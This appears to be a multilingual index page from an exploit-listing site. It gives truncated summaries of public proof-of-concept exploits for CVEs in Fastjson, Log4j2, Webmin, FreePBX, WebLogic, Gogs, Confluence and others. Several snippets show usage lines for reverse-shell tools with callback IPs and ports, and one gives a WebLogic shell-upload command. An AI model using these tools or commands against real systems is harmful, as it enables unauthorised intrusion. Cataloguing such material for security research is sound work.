fastjson-1.2.60-rce

Fastjson = 1.2.60 反序列化漏洞 By Pass autoType Block List with 2 Gadgets JNDIConfiguration、OracleManagedConnectionFactory Gadgets root@kitploit: 经过测试，命中的4个文件都是可以利用的。 不过其中HikariConfig类就是前文提到的类，在最新版本被加入黑名单，JNDIConnectionPool类在42版本前就被加入黑名单了。 另外的两个类JNDIConfiguration和...

e-cology

Weaver e-cology OA Beanshell Component Remote Code Execution Windows Linux Notes Detect the target system's os.name if the target system is Windows, executing commands such as set requires manually typing cmd.exe /c set Use Unicode to bypass the exec filter on some sites. Payload root@kitploit:...

CVE-2019-0708

CVE-2019-0708 简介 微软发布了5月份的月度安全更新。本月补丁星期二的更新中包含CVE-2019-0708，这是一个严重的远程代码执行漏洞，可能允许未经身份验证的远程攻击者在运行远程桌面协议（RDP）的易受攻击的目标上执行远程代码。 技术分析 该漏洞存在于RDP服务处理传入请求的方式中。攻击者可以向RDP服务发送恶意请求，由于请求处理未正确清理，目标将执行注入到请求中的恶意代码。CVE-2019-0708是一个无需用户交互的预认证漏洞。受影响的Windows版本包括Windows XP、Windows 7、Windows Server 2003和Windows Server...

CVE-2026-0740

CVE-2026-0740 🧩 Descripción general CVE-2026-0740 es una vulnerabilidad de subida arbitraria de archivos sin autenticación que afecta a: Ninja Forms File Uploads ≤ 3.3.26 plugin de WordPress Esta falla permite a los atacantes subir archivos arbitrarios al servidor sin autenticación, lo que...

Apache-Log4j2-RCE

Apache Log4j2 RCE 検証環境 2021年12月9日以降 参考 https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg 環境構築 mavenで関連パッケージと脆弱性のあるバージョン範囲を導入 root@kitploit: org.apache.logging.log4j log4j-api 2.14.1 org.apache.logging.log4j log4j-core 2.14.1 確認 dnslogを利用して使用有無を確認...

CVE-2023-45878

Gibbon CMS CVE-2023-45878 エクスプロイト このPythonスクリプトは、Gibbon CMS バージョン25.0.1以前における未認証の任意ファイルアップロード脆弱性 CVE-2023-45878 を悪用し、リモートコード実行（RCE）に至ります。 脆弱性の説明 CVE-2023-45878 は Gibbon CMS の rubricsvisualisesaveAjax.php エンドポイントに存在します。このエンドポイントは認証を必要とせず、任意のファイル書き込みが可能であるため脆弱です。 脆弱性は以下の点から生じます： 未認証アクセス:...

CVE-2022-41343

CVE-2022-41343 🐍 CVE-2022-41343的Python利用 用于dompdf 2.0.1的分阶段反向Shell 基于：Positive Sec的文章 和 PoC 示例 root@kitploit: cve-2022-41343 10.10.16.3 44444 用法 root@kitploit: usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Shell回调IP地址/主机 port Shell回调端口 options: -h,...

CVE-2022-0944

CVE-2022-0944 针对 SQLPad RCE（CVE-2022-0944） 的概念验证漏洞利用程序 用法 root@kitploit: usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login...

CVE-2023-25194

CVE-2023-25194 https://hackerone.com/reports/1529790 Poc root@kitploit: POST /connectors HTTP/1.1 Host: xxxx:8083 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10157 AppleWebKit/537.36 KHTML, like Gecko Chrome/109.0.0.0 Safari/537.36 Accep...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab CVE-2018-14667 漏洞利用的 POC 先决条件 演示应用来自：http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip Jboss 5.1.0.GA 来自 JBOSS 下载存档：https://repository.jboss.org/sourceforge/ Jdk-6u45-linux-x64 来自 JAVA...

CVE-2022-25765

CVE-2022-25765 Prueba de concepto para Blind RCE para CVE-2022-25765 Probado en HTB - Máquina Precious...

CVE-2026-48908-PoC

CVE-2026-48908 — SP Page Builder Joomla Unauthenticated RCE Proof-of-concept exploit for CVE-2026-48908 , a critical CVSS 4.0 = 10.0 unauthenticated remote-code-execution vulnerability in the SP Page Builder component comsppagebuilder for Joomla, by JoomShaper...

CVE-2026-33937

CVE-2026-33937 — RCE por inyección de AST en Handlebars.js Las versiones 4.0.0 a 4.7.8 de Handlebars.js están afectadas. Puntuación CVSS: 9.8 Crítica. Resumen CVE-2026-33937 es una vulnerabilidad de confusión de tipos en Handlebars.js. La función Handlebars.compile acepta tanto una cadena de...

cve-2025-57819-exploit

CVE-2025-57819 漏洞利用工具 元数据 严重性: 严重 9.8 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 类型: 未认证 SQL注入 → 远程代码执行 受影响的软件: FreePBX endpoint 模块 参数 : 目标主机名或 IP 地址（存在漏洞的 FreePBX 实例） : 攻击者用于接收反向 Shell 回调的 IP 地址 : 监听传入连接的端口 示例： root@kitploit: python3 cve-2025-57819.py freepbx.local 10.10.16.38 9999 监听器设置...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 未认证远程代码执行漏洞 该脚本用于利用 Webmin 1.890 中的未认证命令执行漏洞。它允许您在目标 Webmin 服务器上执行任意命令或获取反向 Shell。 使用方法 该漏洞利用工具需要 5 个参数： root@kitploit: $ python3 test.py -h usage: test.py -h -i IP Address -p Port number -c Command --shell -x Exploit unauthenticated command execution in Webmin 1.890...

CVE-2017-3506

これは何ですか？ これはCVE-2017-3506（Weblogic XMLDecoderのシリアライゼーション）のPoCです。 使い方 脆弱性チェック root@kitploit: java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 シェル取得 root@kitploit: java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp...

CVE-2026-52806

Gogs RCE — git rebase 中的参数注入（CWE-88） 通过拉取请求合并流程中的参数注入，对 Gogs（ 的分支被 Git 解析为 --exec 标志，而不是位置参数，导致在变基期间每次重放提交后都会执行 sh -c 。 利用原理 1. 预检 — 检测目标是否运行 Gogs，通过静态资源上的 ?v= 参数指纹版本，并检查用户注册是否开放、是否受验证码保护或已禁用。 2. 认证 — 如果未提供凭据，尝试自动注册（无验证码）；如果启用了验证码，则打印消息告诉用户在目标的注册页面上创建帐户，并使用 -u -pw 重新运行。通过基本认证或 Web 设置页面创建 API 令牌。 ...

CVE-2018-8284-Sharepoint-RCE

CVE-2018-8284-Sharepoint-RCE...

cve-2019-3396

cve-2019-3396 認証不要のConfluence RCE cve-2019-3396 エクスプロイトライブラリのセットアップ root@kitploit: bundle install 実行 root@kitploit: ┌──user㉿hostname-/path/to/cve-2019-3396 └─$ ruby cve-2019-3396.rb exploit - CVE-2019-3396 Author - Abdallah Mohamed Elsharif Greetz to Ghost5egy and Hamza Abdulrahman and Omar and...

CVE-2020-35729

情報 root@kitploit: Exploit Title: Klog Server 2.4.1 - Command Injection Unauthenticated Date: 22.12.2020 Exploit Author: b3kc4t Mustafa GUNDOGDU Vendor Homepage: https://www.klogserver.com/ Version: 2.4.1 Tested On: Ubuntu 18.04 CVE: 2020-35729 Description:...